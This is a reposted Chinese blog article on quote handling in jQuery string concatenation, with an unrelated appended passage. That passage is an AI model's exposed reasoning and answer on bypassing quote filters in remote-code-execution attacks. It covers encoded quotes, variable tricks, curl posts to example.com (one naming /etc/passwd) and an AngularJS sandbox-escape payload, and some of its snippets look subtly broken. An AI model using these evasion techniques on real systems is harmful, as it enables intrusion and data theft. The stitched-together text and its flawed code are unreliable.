js中单双引号的区别

转自https://blog.youkuaiyun.com/ya_1249463314/article/details/53781459

1.引入

在jquery或者js中拼接字符串时,使用单引号和双引号是没有区别的,都可以被成功解析成字符串,但是,在一些复杂的字符串拼接时,需要单引号和双引号的混合使用时,就需要注意了。最近在项目中写js脚本时,发现firebug经常会报多一个单引号或者多一个双引号这种低级错误。但是要是搞不清这两者,你就会把复杂的字符串拼接搞的乱七八糟、错误百出。
2.项目中的场景

使用ajax异步提交数据之后,返回了一个数据,需要以字符串拼接的方式将标签和返回的数据进行拼接设置到前面的标签的区域上。
3.实际问题

前面标签的区域:

    <div id="bodyContent">
     
    </div>

jquery脚本:

    $.ajax({
            type:"POST",
            dataType:"json",
            url:getWebRootPath()+"/location/getCityList.json",
            success:function(data){
                if(data.provinceList !=null){
                      var result="";
                      $.each(data.provinceList,function(i,item){
                          var index=0;
                          result+='<br/>'+'<div class="pull-left" style="cursor:pointer;" onclick="getSelectedAddress(\''+item.longCode+'\'+\',\'+\''+item.name+'\');">'+item.name+'</div>'+
                          "<hr style='width:100%;'/>"+"<table style='cursor:pointer;'>"+
                          "<tr>";
                          $.each(item.list,function(j,subItem){
                              index=j;
                              if(j%4 ==0 ){
                                  result+="</tr><tr>";
                              }
             //---------------------------字符串拼接的关键就在下一句:-------------
                                           result+='<td style="border:1px solid #ECECEC;height:35px;background:#F1F1F1;width:112px;" onclick="getSelectedAddress(\''+subItem.longCode+'\'+\',\'+\''+subItem.name+'\');">'+subItem.name+'</td>';
                          });
                          for(var i=0;i<(3-(index%4));i++){
                              result+="<td style='border:1px solid #ECECEC;height:35px;background:#F1F1F1;width:112px;'>"+"</td>";
                          }
                          result+="</tr></table>";
                          addressDialog.render();
                    addressDialog.show();
                      });
                      $("#bodyContent").html(result);
                }
            },
            error:function(data){
                  alert("对不起,系统出错!");
            }
    });

解读上面代码:

我这里主要就是使用result变量作为字符串拼接的变量来设置拼接的值,最后使用html(result)函数将值设置在指定的区域div上。
第一层解析:

这个变量的最外面采用的是单引号,意思就是将里面的内容作为一个字符串的形式。里面拼接的是html标签<td>然后就不需双引号就可以将值subItem.name这个值拼接起来了。结果:

result+='<td>'+subItem.name+'</td>';

第二层解析:

上面第一层使用+=完全是为了可以循环拼接出后台传过来list中的所有逻辑对象pojo(与题目无关)。为了使拼接的表格美观,所以就需要有style属性。而此时如果使用单引号来括起来style的属性对应的属性值,那么前面第一个单引号会与style的属性值的第一个单引号相匹配造成错误匹配,因此系统就会报缺少;分号的错误。所以应该使用双引号来区分。结果:


第三层解析:

由于这个表格还需添加点击事件来完成表格内的数据可以被获取来完成提交的功能。我们需要点击函数里面添加两个必要的形参,然后将形参作为逻辑处理的数据,而此时又需要添加引号了。。。如果是无参的函数则并没有多大的变化。


有参数的形式:


解析:箭头所指的地方我们使用了转义字符,将\'转义成了双引号",我在没解决问题之前是采用的双引号,可是firebug却报错,说缺少分号,意思就是这个字符串拼接的不匹配了。仔细思考下发现,getSelectedAddress函数前面的双引号的作用是作为属性值的设置。而此时再使用双引号是用来字符串拼接不是设置属性值了,浏览器肯定就会造成错误匹配的情况。由于需要拼接的变量subItem.longCode是作为result的外部变量,属于和result同级的,所以前后两边的字符串的拼接,外部必须使用单引号括起来,在这里单引号是整个表格标签的统一符号: ' +subItem.longCode+ ' 。而里面是属性值,所以里面必须是双引号(红箭头的位置)。直接使用会造成浏览器歧义,解决办法就是采用转义字符,将单引号转义成双引号。后面都是一样了。
第四层解析:

中间的逗号,可能会以为是getSelectedAddress方法会有两个参数subItem.longCode和subItem.name两个参数,而实际上,这个逗号拼接只是作为一个字符串将值与前后两个字符串变量拼接在了一起作为整体的一个字符串变量。所以getSelectedAddress方法里面只有一个参数: ' subItem.longCode,subItem.name '。

 
---------------------  
作者:sunpy 孙培煜  
来源:优快云  
原文:https://blog.youkuaiyun.com/ya_1249463314/article/details/53781459  
版权声明:本文为博主原创文章,转载请附上博文链接!

<think>好的,我现在需要帮助用户寻找绕过RCE场景下双引号过滤的方法。首先,我得理解用户的需求。用户提到在远程代码执行(RCE)攻击中,目标系统可能过滤了单引号双引号,导致攻击者无法直接使用这些字符来构造恶意命令。因此,用户希望找到绕过这种过滤的技术。 首先,我需要回忆一下常见的RCE绕过技巧。通常,当某些字符被过滤时,攻击者会尝试使用编码、替代字符或环境变量等方法。例如,在PHP中,可以使用${IFS}代替空格,或者用八进制、十六进制编码来绕过过滤。但这里的问题是关于双引号的绕过,所以需要具体针对引号被过滤的情况。 接下来,我应该考虑不同的编程语言环境,比如PHP、Python、Bash等,因为不同的语言可能有不同的绕过方式。例如,在Bash中,可以使用变量替换或命令替换来生成需要的字符。比如,使用${@}或${*}来获取参数,或者通过printf命令生成引号。 然后,我需要检查是否有其他字符可以代替引号的功能。例如,在Bash中,如果引号被过滤,是否可以使用here-document或者here-string来传递字符串而不需要引号?或者,使用$()进行命令替换,将输出作为参数传递。 另外,编码绕过也是一个方向。比如,使用八进制或十六进制编码的引号字符。例如,单引号的八进制是\47,十六进制是\x27,双引号是\42或\x22。在某些情况下,可能可以通过echo -e或者printf来解码这些编码的字符。 还有,考虑使用环境变量。如果系统中有某些环境变量包含引号字符,可以尝试引用这些变量。例如,如果环境变量中存在某个值包含引号,可以通过${ENV_VAR}来获取。 此外,是否可以利用语言本身的特性来避免使用引号?例如,在PHP中,字符串可以用大括号语法或nowdoc语法,或者通过拼接字符串的方式构造命令。例如,使用chr()函数生成引号字符,如chr(34)是双引号,chr(39)是单引号。 另一个思路是使用通配符或正则表达式来替代需要引号的地方。例如,在文件名匹配时,使用通配符*代替具体的字符串,但这种方法可能不适用于所有情况。 还需要考虑目标系统对字符过滤的具体实现是否存在缺陷。例如,是否只过滤了一次引号,可以通过双重编码来绕过,或者使用大小写混淆(如果过滤是区分大小写的)。 此外,是否有其他特殊字符可以替代引号的作用?例如,在Bash中,反引号`或者$()可以用于命令替换,但这也取决于具体的上下文。 可能还需要查看是否有相关的CVE或已知的绕过技术。例如,某些框架或库在处理命令参数时存在解析差异,可能允许使用其他符号代替引号。 最后,需要提醒用户这些技术可能因环境配置而异,实际应用前需要充分测试,并且强调这些方法仅用于安全研究防御,不得用于非法用途。</think>在RCE场景下绕过双引号过滤的核心思路是**利用字符编码、变量扩展或语言特性生成等价效果**。以下是具体技术分类: --- ### 一、编码类绕过 1. **十六进制编码** 通过`\x`前缀表示ASCII字符,例如: - 单引号`'` → `\x27` - 双引号`"` → `\x22` 示例: ```bash echo \x27test\x27 # 输出'test' ``` 2. **八进制编码** 使用`\0`前缀表示八进制值: - 单引号`'` → `\047` - 双引号`"` → `\042` 示例(PHP环境下): ```php system("echo ".chr(047)."test".chr(047)); ``` --- ### 二、变量扩展绕过(Bash/Python) 1. **通过环境变量构造引号** 利用`${env:VAR}`或`$@/$*`动态生成字符: ```bash # 在Bash中,$*默认值为"$1 $2 ...",可提取空格或引号 cmd=("curl" "-d" "data=${*:0:1}inject${*:0:1}") ``` 2. **使用printf动态生成** 通过命令替换生成引号: ```bash quote=$(printf "\x22") curl -d "data=${quote}payload${quote}" example.com ``` --- ### 三、语言特性绕过 1. **PHP中的字符串构造** 使用`chr()`函数拼接字符: ```php $cmd = 'echo ' . chr(34) . $_GET['input'] . chr(34); system($cmd); ``` 2. **Python中的字节码转换** 通过`bytes``decode()`绕过过滤: ```python quote = bytes([34]).decode() os.system(f"echo {quote}test{quote}") ``` --- ### 四、无引号注入技术 1. **重定向符号替代** 在Bash中使用`<<<`传递字符串(无需引号): ```bash curl -d @- <<<data=test example.com ``` 2. **参数展开特性** 利用未闭合的变量语法触发解析差异: ```bash # 假设输入可控为${PATH:0:1}(输出/),可构造路径 cmd=curl -d data=/etc/passwd example.com ``` --- ### 五、框架级绕过 1. **AngularJS沙箱绕过(历史漏洞)** 通过原型链污染触发表达式执行[^2]: ```javascript {{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)')}} ``` ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值